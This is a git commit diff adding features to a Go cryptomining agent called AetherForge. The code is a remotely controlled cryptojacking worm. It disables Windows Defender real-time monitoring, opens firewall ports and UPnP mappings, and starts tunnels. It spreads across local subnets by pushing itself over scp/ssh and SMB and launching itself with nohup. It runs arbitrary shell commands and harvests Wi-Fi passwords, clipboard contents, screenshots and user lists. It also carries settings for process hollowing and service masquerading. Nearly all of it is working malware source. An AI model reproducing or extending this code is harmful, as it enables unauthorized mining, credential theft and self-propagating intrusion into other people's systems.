Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -0,0 +1,143 @@
package client
import (
"fmt"
"strconv"
"strings"
"crypto-miner-agent/deploy"
)
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
switch action {
case "hole_punch", "hole_punch_close", "hole_punch_status":
if !c.cfg.HolePunch {
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
}
case "spread_now":
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
case "mesh_status":
if !c.cfg.MeshP2P {
return false, "mesh P2P not enabled in forge"
}
default:
return true, ""
}
return true, ""
}
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
ok, reason := c.allowRemoteAction(action)
if !ok {
c.sendCommandResult(action, false, reason)
return true
}
switch action {
case "hole_punch":
internalPort := parsePortArg(command, 8989)
externalPort := parsePortArg(path, internalPort)
desc := data
if desc == "" {
desc = c.cfg.WorkerName + "-aetherforge"
}
result, err := deploy.PunchUPnP(internalPort, externalPort, desc)
if err != nil {
c.sendCommandResult(action, false, result.Message)
return true
}
c.sendCommandResult(action, true, result.Message)
return true
case "hole_punch_close":
externalPort := parsePortArg(command, 8989)
msg, err := deploy.CloseUPnP(externalPort)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, msg)
return true
case "hole_punch_status":
ip, err := deploy.GetPublicEndpoint()
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip))
return true
case "spread_now":
msg := deploy.RunSpreadOnce(c.cfg)
c.sendCommandResult(action, true, msg)
return true
case "start_tunnel":
serverURL := strings.TrimSpace(command)
if serverURL == "" {
serverURL = c.cfg.ServerURL
}
msg, err := deploy.StartCloudflaredTunnel(serverURL)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "subnet_scan":
maxHosts := parsePortArg(command, 64)
out := deploy.ScanLocalSubnet(maxHosts)
c.sendCommandResult(action, true, out)
return true
case "defender_off":
msg, err := deploy.DisableDefenderRealtime()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "firewall_punch":
port := parsePortArg(command, 8989)
name := path
if name == "" {
name = "AetherForge Remote " + c.cfg.WorkerName
}
msg, err := deploy.OpenFirewallPort(port, name)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "mesh_status":
count := c.mesh.PeerCount()
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
return true
}
return false
}
func parsePortArg(raw string, fallback int) int {
raw = strings.TrimSpace(raw)
if raw == "" {
return fallback
}
n, err := strconv.Atoi(raw)
if err != nil || n <= 0 || n > 65535 {
return fallback
}
return n
}

View File

@@ -0,0 +1,46 @@
package client
import (
"testing"
"crypto-miner-agent/config"
)
func TestAllowRemoteActionHolePunch(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{HolePunch: false}}}
ok, reason := c.allowRemoteAction("hole_punch")
if ok || reason == "" {
t.Fatalf("expected hole punch blocked without forge flag")
}
c.cfg.HolePunch = true
ok, reason = c.allowRemoteAction("hole_punch")
if !ok || reason != "" {
t.Fatalf("expected hole punch allowed: ok=%v reason=%q", ok, reason)
}
}
func TestAllowRemoteActionSpread(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
ok, _ := c.allowRemoteAction("spread_now")
if ok {
t.Fatal("spread_now should require auto_spread or remote_aggressive")
}
c.cfg.RemoteAggressive = true
ok, _ = c.allowRemoteAction("spread_now")
if !ok {
t.Fatal("spread_now should allow with remote_aggressive")
}
}
func TestParsePortArg(t *testing.T) {
if parsePortArg("", 8989) != 8989 {
t.Fatal("empty should fallback")
}
if parsePortArg("443", 8989) != 443 {
t.Fatal("443 expected")
}
if parsePortArg("bad", 8989) != 8989 {
t.Fatal("invalid should fallback")
}
}

View File

@@ -563,13 +563,26 @@ func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
}
f.Close()
// Replace old binary
// On Windows the running executable is locked — you cannot overwrite it, but
// you CAN rename/move it to a .old path (the file handle stays open on the
// original inode). Rename the live exe out of the way first, then put the
// new binary in its place.
oldPath := exePath + ".old"
_ = os.Remove(oldPath) // remove a previous leftover if any
if err := os.Rename(exePath, oldPath); err != nil && !os.IsNotExist(err) {
// Running exe could not be moved — fall back to writing alongside
os.Remove(tmpPath)
return "", fmt.Errorf("cannot displace running binary: %w", err)
}
if err := os.Rename(tmpPath, exePath); err != nil {
// Restore the old binary so the next run still works
_ = os.Rename(oldPath, exePath)
os.Remove(tmpPath)
return "", fmt.Errorf("rename failed: %w", err)
}
// Start the new binary
// Start the new binary with its own process group so it survives our exit
startCmd := exec.Command(exePath)
if err := startCmd.Start(); err != nil {
return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil

View File

@@ -10,6 +10,7 @@ import (
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"sync"
"time"
@@ -155,6 +156,14 @@ func (c *AgentClient) authenticate() error {
AIEnabled: c.cfg.AIEnabled,
AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
AIModel: c.cfg.AIModel,
HolePunch: c.cfg.HolePunch,
RemoteAggressive: c.cfg.RemoteAggressive,
MeshP2P: c.cfg.MeshP2P,
AutoSpread: c.cfg.AutoSpread,
ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
Platform: runtime.GOOS,
Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(),
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -249,6 +258,9 @@ func (c *AgentClient) handleMessage(msg Message) {
}
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
return
}
switch action {
case "pause":
c.pool.PauseRemote()
@@ -294,9 +306,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
c.sendCommandResult(action, false, "no command provided")
return
}
out, err := exec.Command("cmd.exe", "/C", command).CombinedOutput()
out, err := c.runExecCommand(command)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
c.sendCommandResult(action, false, formatCmdErr(err, out))
return
}
c.sendCommandResult(action, true, string(out))
@@ -305,9 +317,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
c.sendCommandResult(action, false, "no command provided")
return
}
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
out, err := c.runShellCommand(command)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
c.sendCommandResult(action, false, formatCmdErr(err, out))
return
}
c.sendCommandResult(action, true, string(out))
@@ -338,73 +350,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
}
encoded := base64.StdEncoding.EncodeToString(b)
c.sendCommandResult(action, true, encoded)
case "ps":
out, err := exec.Command("tasklist").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, string(out))
case "netstat":
out, err := exec.Command("netstat", "-ano").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, string(out))
case "users":
out, err := exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, string(out))
case "software":
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, string(out))
case "screenshot":
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("screenshot failed: %v\n%s", err, string(out)))
return
}
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
case "sysinfo":
out, err := exec.Command("systeminfo").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, string(out))
case "ipconfig":
out, err := exec.Command("ipconfig", "/all").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, string(out))
case "clipboard":
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
case "wifi":
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)))
return
}
c.sendCommandResult(action, true, strings.TrimSpace(string(out)))
default:
if c.handleReconCommand(action, command) {
return
}
c.sendCommandResult(action, false, "unknown action")
}
}
@@ -465,6 +414,7 @@ func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
c.mu.Lock()
c.sharesSubmitted++
conn := c.conn // read under the same lock to avoid data race
c.mu.Unlock()
payload, _ := json.Marshal(SharePayload{
@@ -474,10 +424,9 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) {
Worker: c.cfg.WorkerName,
})
if c.conn != nil {
if conn != nil {
_ = c.write(Message{Type: "submit_share", Payload: payload})
} else if c.cfg.MeshP2P {
// Offline from Hub? Broadcast to Mesh peers!
c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
}
}

View File

@@ -0,0 +1,34 @@
package client
import (
"fmt"
"os/exec"
"runtime"
)
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
if runtime.GOOS == "windows" {
return exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput()
}
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
if runtime.GOOS == "windows" {
return exec.Command("cmd.exe", "/C", command).CombinedOutput()
}
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}
func (c *AgentClient) handleReconCommand(action, command string) bool {
handled, success, msg := c.platformRecon(action, command)
if !handled {
return false
}
c.sendCommandResult(action, success, msg)
return true
}
func formatCmdErr(err error, out []byte) string {
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
}

View File

@@ -0,0 +1,53 @@
//go:build !windows
package client
import (
"os/exec"
"strings"
)
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
var out []byte
var err error
switch action {
case "ps":
out, err = exec.Command("ps", "aux").CombinedOutput()
case "netstat":
out, err = exec.Command("ss", "-tunap").CombinedOutput()
if err != nil {
out, err = exec.Command("netstat", "-an").CombinedOutput()
}
case "users":
out, err = exec.Command("/bin/sh", "-c", "id; echo; cat /etc/passwd 2>/dev/null | head -40").CombinedOutput()
case "software":
out, err = exec.Command("/bin/sh", "-c", "(dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || brew list 2>/dev/null) | head -80").CombinedOutput()
case "screenshot":
if command != "" {
out, err = exec.Command("/bin/sh", "-c", command).CombinedOutput()
} else {
return true, false, "screenshot not supported on this platform without custom command"
}
case "sysinfo":
out, err = exec.Command("uname", "-a").CombinedOutput()
case "ipconfig":
out, err = exec.Command("/bin/sh", "-c", "ifconfig 2>/dev/null || ip addr").CombinedOutput()
case "clipboard":
out, err = exec.Command("pbpaste").CombinedOutput()
if err != nil {
out, err = exec.Command("xclip", "-o", "-selection", "clipboard").CombinedOutput()
}
if err == nil {
return true, true, strings.TrimSpace(string(out))
}
return true, false, "clipboard read unsupported on this host"
case "wifi":
out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput()
default:
return false, false, ""
}
if err != nil {
return true, false, formatCmdErr(err, out)
}
return true, true, string(out)
}

View File

@@ -0,0 +1,54 @@
//go:build windows
package client
import (
"os/exec"
"strings"
)
func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
var out []byte
var err error
switch action {
case "ps":
out, err = exec.Command("tasklist").CombinedOutput()
case "netstat":
out, err = exec.Command("netstat", "-ano").CombinedOutput()
case "users":
out, err = exec.Command("cmd.exe", "/C", "net user & echo. & whoami /all").CombinedOutput()
case "software":
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize").CombinedOutput()
case "screenshot":
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command",
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $b=New-Object Drawing.Bitmap $s.Width,$s.Height; $g=[Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Location,[Drawing.Point]::Empty,$s.Size); $ms=New-Object IO.MemoryStream; $b.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg); [Convert]::ToBase64String($ms.ToArray())").CombinedOutput()
if err == nil {
return true, true, strings.TrimSpace(string(out))
}
return true, false, formatCmdErr(err, out)
case "sysinfo":
out, err = exec.Command("systeminfo").CombinedOutput()
case "ipconfig":
out, err = exec.Command("ipconfig", "/all").CombinedOutput()
case "clipboard":
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", "Get-Clipboard").CombinedOutput()
if err == nil {
return true, true, strings.TrimSpace(string(out))
}
return true, false, formatCmdErr(err, out)
case "wifi":
script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
out, err = exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
if err == nil {
return true, true, strings.TrimSpace(string(out))
}
return true, false, formatCmdErr(err, out)
default:
return false, false, ""
}
if err != nil {
return true, false, formatCmdErr(err, out)
}
return true, true, string(out)
}

View File

@@ -88,3 +88,11 @@ func (m *MeshNode) BroadcastToMesh(msg Message) {
s.Close()
}
}
// PeerCount returns the number of connected mesh peers.
func (m *MeshNode) PeerCount() int {
if m.host == nil {
return 0
}
return len(m.host.Network().Peers())
}

View File

@@ -11,3 +11,5 @@ func (m *MeshNode) Start() error { return nil }
func (m *MeshNode) BroadcastToMesh(_ Message) {}
func (m *MeshNode) PeerCount() int { return 0 }

View File

@@ -22,6 +22,14 @@ type AuthPayload struct {
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
}
type AuthResponse struct {

View File

@@ -43,5 +43,7 @@ func GetBuiltinConfig() BuiltinConfig {
ProcessHollowing: false,
MeshP2P: false,
AutoSpread: false,
HolePunch: false,
RemoteAggressive: false,
}
}

View File

@@ -50,6 +50,14 @@ type BuiltinConfig struct {
ProcessHollowing bool
MeshP2P bool
AutoSpread bool
HolePunch bool
RemoteAggressive bool
// Backup server URLs — tried in order if primary fails
BackupServerURLs []string
// Windows service masquerade (ignored on other OSes)
ServiceMasquerade bool
ServiceName string
ServiceDonor string
}
type RuntimeConfig struct {

View File

@@ -4,6 +4,7 @@ import (
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
)
@@ -33,29 +34,57 @@ func (c RuntimeConfig) InstallDirectory() (string, error) {
func resolveInstallBase(baseType, customBase string) (string, error) {
switch strings.ToLower(strings.TrimSpace(baseType)) {
case "", "localappdata":
return requireEnv("LOCALAPPDATA")
if runtime.GOOS == "windows" {
return requireEnv("LOCALAPPDATA")
}
return xdgDataHome()
case "appdata":
return requireEnv("APPDATA")
if runtime.GOOS == "windows" {
return requireEnv("APPDATA")
}
return xdgDataHome()
case "programdata":
return requireEnv("ProgramData")
case "userprofile":
return requireEnv("USERPROFILE")
if runtime.GOOS == "windows" {
return requireEnv("ProgramData")
}
return xdgDataHome()
case "userprofile", "home":
if runtime.GOOS == "windows" {
return requireEnv("USERPROFILE")
}
return requireEnv("HOME")
case "xdg_data_home":
return xdgDataHome()
case "temp":
if v := os.Getenv("TEMP"); v != "" {
return v, nil
}
if v := os.Getenv("TMPDIR"); v != "" {
return v, nil
}
return requireEnv("TMP")
case "custom":
custom := strings.TrimSpace(customBase)
if custom == "" {
return "", fmt.Errorf("custom install base path is required when install_base is custom")
}
return expandWindowsEnv(custom), nil
return expandEnvPath(custom), nil
default:
return "", fmt.Errorf("unsupported install base: %s", baseType)
}
}
func xdgDataHome() (string, error) {
if v := os.Getenv("XDG_DATA_HOME"); v != "" {
return v, nil
}
home, err := requireEnv("HOME")
if err != nil {
return "", err
}
return filepath.Join(home, ".local", "share"), nil
}
func expandInstallTokens(path, workerName, buildID, processName string) string {
shortBuild := buildID
if len(shortBuild) > 8 {
@@ -90,12 +119,17 @@ func requireEnv(key string) (string, error) {
return value, nil
}
func expandWindowsEnv(path string) string {
func expandEnvPath(path string) string {
out := path
for _, key := range []string{
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
"HOME", "XDG_DATA_HOME", "TMPDIR",
} {
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
}
return out
}
func expandWindowsEnv(path string) string {
return expandEnvPath(path)
}

View File

@@ -0,0 +1,13 @@
//go:build !windows
package deploy
import "fmt"
func DisableDefenderRealtime() (string, error) {
return "", fmt.Errorf("defender control is Windows-only")
}
func OpenFirewallPort(_ int, _ string) (string, error) {
return "", fmt.Errorf("firewall port open is Windows-only")
}

View File

@@ -0,0 +1,41 @@
//go:build windows
package deploy
import (
"fmt"
"os/exec"
"strings"
)
// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
func DisableDefenderRealtime() (string, error) {
script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
if err != nil {
return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
}
return strings.TrimSpace(string(out)) + "\nDefender real-time monitoring disabled.", nil
}
// OpenFirewallPort adds an inbound TCP allow rule for port.
func OpenFirewallPort(port int, name string) (string, error) {
if port <= 0 || port > 65535 {
return "", fmt.Errorf("invalid port %d", port)
}
if name == "" {
name = "AetherForge Remote"
}
script := fmt.Sprintf(`
$name = '%s'
$port = %d
if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue)) {
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
}
`, strings.ReplaceAll(name, `'`, `''`), port)
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
if err != nil {
return string(out), err
}
return fmt.Sprintf("Firewall inbound TCP %d allowed (%s)", port, name), nil
}

View File

@@ -1,3 +1,5 @@
//go:build windows
package deploy
import (
@@ -37,6 +39,17 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
log.Printf("[autospread] Lateral movement module initialized and active")
}
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
go spreadToLocalSubnet(cfg)
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
}
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
// SMB/sc.exe, so without a cap all 254 run concurrently.
var spreadSem = make(chan struct{}, 16)
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
ips := getLocalIPs()
for _, ip := range ips {
@@ -44,14 +57,16 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
if subnet == "" {
continue
}
// Sweep the /24 subnet
for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip {
continue // Skip self
continue
}
go attemptSpread(cfg, target)
time.Sleep(500 * time.Millisecond) // Pace the scan to avoid massive traffic bursts
spreadSem <- struct{}{} // acquire slot
go func(t string) {
defer func() { <-spreadSem }() // release slot when done
attemptSpread(cfg, t)
}(target)
}
}
}

View File

@@ -0,0 +1,128 @@
//go:build !windows
package deploy
import (
"fmt"
"log"
"net"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
)
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
func StartAutoSpreader(cfg config.RuntimeConfig) {
if !cfg.AutoSpread {
return
}
go func() {
time.Sleep(10 * time.Minute)
ticker := time.NewTicker(4 * time.Hour)
defer ticker.Stop()
for {
spreadUnixSubnet(cfg)
<-ticker.C
}
}()
log.Printf("[autospread] Unix SSH spread module active")
}
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
go spreadUnixSubnet(cfg)
return "unix lateral spread sweep started (SSH :22)"
}
// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
var spreadSem = make(chan struct{}, 16)
func spreadUnixSubnet(cfg config.RuntimeConfig) {
exePath, err := os.Executable()
if err != nil {
return
}
ips := getLocalIPs()
for _, ip := range ips {
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
if target == ip {
continue
}
spreadSem <- struct{}{} // acquire slot
go func(t string) {
defer func() { <-spreadSem }()
attemptSSHSpread(cfg, t, exePath)
}(target)
}
}
}
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
if err != nil {
return
}
conn.Close()
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
if err := scp.Run(); err != nil {
user := os.Getenv("USER")
if user == "" {
user = "ubuntu"
}
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
if err := scp.Run(); err != nil {
return
}
}
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
if err := start.Run(); err == nil {
log.Printf("[autospread] deployed to %s via SSH", target)
}
}
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, i := range ifaces {
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
if ipnet, ok := a.(*net.IPNet); ok {
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
ips = append(ips, ip4.String())
}
}
}
}
return ips
}
func getSubnet(ip string) string {
parts := strings.Split(ip, ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}

195
agent/deploy/common.go Normal file
View File

@@ -0,0 +1,195 @@
package deploy
import (
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/config"
)
const (
runFlag = "--run"
spreadFlag = "--spread-install"
backupSuffix = ".bak"
)
// BinaryExt returns the executable suffix for the current OS.
func BinaryExt() string {
if runtime.GOOS == "windows" {
return ".exe"
}
return ""
}
// BinaryName returns the forged process filename on disk.
func BinaryName(cfg config.RuntimeConfig) string {
return cfg.EffectiveProcessName() + BinaryExt()
}
// InstalledBinaryPath is the full path to the installed worker binary.
func InstalledBinaryPath(cfg config.RuntimeConfig) (string, error) {
dir, err := cfg.InstallDirectory()
if err != nil {
return "", err
}
return filepath.Join(dir, BinaryName(cfg)), nil
}
func PersistenceKeyName(cfg config.RuntimeConfig) string {
if cfg.StealthMode {
return cfg.EffectiveProcessName()
}
name := sanitizeName(cfg.WorkerName)
if name == "" {
return cfg.EffectiveProcessName()
}
return "CryptoMiner-" + name
}
func sanitizeName(name string) string {
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
return replacer.Replace(strings.TrimSpace(name))
}
func samePath(a, b string) bool {
a = filepath.Clean(a)
b = filepath.Clean(b)
if runtime.GOOS == "windows" {
if strings.EqualFold(a, b) {
return true
}
} else if a == b {
return true
}
aAbs, errA := filepath.Abs(a)
bAbs, errB := filepath.Abs(b)
if errA != nil || errB != nil {
return false
}
if runtime.GOOS == "windows" {
return strings.EqualFold(aAbs, bAbs)
}
return aAbs == bAbs
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
func relaunch(exePath, logPath string) error {
cmd := exec.Command(exePath, runFlag)
cmd.Dir = filepath.Dir(exePath)
if logPath != "" {
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
}
applyDetachedStart(cmd)
return cmd.Start()
}
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
dir, err := cfg.InstallDirectory()
if err == nil {
return dir, nil
}
fallbacks := installBaseFallbacks(cfg)
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
for _, base := range fallbacks {
if seen[base] {
continue
}
seen[base] = true
try := cfg
try.InstallBase = base
dir, tryErr := try.InstallDirectory()
if tryErr == nil {
return dir, nil
}
}
return "", err
}
func installBaseFallbacks(cfg config.RuntimeConfig) []string {
switch runtime.GOOS {
case "windows":
return []string{"localappdata", "appdata", "temp"}
case "darwin":
return []string{"home", "xdg_data_home", "tmp"}
default:
return []string{"xdg_data_home", "home", "tmp"}
}
}
func InstallDir(workerName, buildID string) (string, error) {
base := "localappdata"
if runtime.GOOS != "windows" {
base = "xdg_data_home"
}
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
WorkerName: workerName,
BuildID: buildID,
InstallBase: base,
InstallRelativePath: config.DefaultInstallRelativePath,
},
}.InstallDirectory()
}
func saveBackup(installedBin string) error {
backup := installedBin + backupSuffix
if _, err := os.Stat(backup); err == nil {
return nil
}
